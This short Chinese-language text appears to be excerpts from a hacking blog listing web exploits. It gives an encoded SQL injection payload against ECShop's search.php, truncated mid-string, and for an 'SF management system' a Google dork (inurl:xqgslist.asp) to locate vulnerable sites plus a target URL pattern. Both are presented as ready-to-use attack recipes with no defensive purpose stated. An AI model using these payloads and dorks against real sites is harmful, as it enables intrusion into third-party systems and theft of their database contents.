ECShop serch 注入bug

利用语句: shop/search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp 7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2...

SF管理系统漏洞

使用方法: 使用google搜索:inurl:xqgslist.asp 随便点击一个公告。http://域名/news.asp?id=36 (更多…)